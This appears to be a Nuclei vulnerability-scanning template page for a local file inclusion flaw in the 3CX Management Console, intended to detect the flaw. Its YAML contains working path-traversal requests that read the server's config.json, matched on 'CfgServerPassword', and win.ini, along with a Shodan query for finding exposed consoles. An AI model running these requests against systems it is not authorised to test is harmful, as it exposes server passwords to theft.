3CX Management Console - Local File Inclusion

ID: 3cx-management-console

Severity: high

Author: random-robbie

Tags: 3cx,lfi,voip

Description

3CX Management Console is vulnerable to local file inclusion.

YAML Source

id: 3cx-management-console

info:
  name: 3CX Management Console - Local File Inclusion
  author: random-robbie
  severity: high
  description: 3CX Management Console is vulnerable to local file inclusion.
  reference:
    - https://medium.com/@frycos/pwning-3cx-phone-management-backends-from-the-internet-d0096339dd88
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
    cpe: cpe:2.3:a:3cx:3cx:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    shodan-query: http.title:"3CX Phone System Management Console"
    product: 3cx
    vendor: 3cx
  tags: 3cx,lfi,voip

http:
  - method: GET
    path:
      - '{{BaseURL}}/Electron/download/windows/..\..\..\Http\webroot\config.json'
      - '{{BaseURL}}/Electron/download/windows/\windows\win.ini'

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "CfgServerPassword"
          - "CfgServerAppName"
        condition: and

      - type: word
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
# digest: 4a0a0047304502204e4dbb4143445184457bec7aff6cb42c22c461f2ecc40ca856f94fd295a78fe7022100f67f2da39ca0f583426c52d9ba5bfcb35e46cfb7ef0f053a054cd7c501d1e3ab:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/3cx-management-console.yaml"

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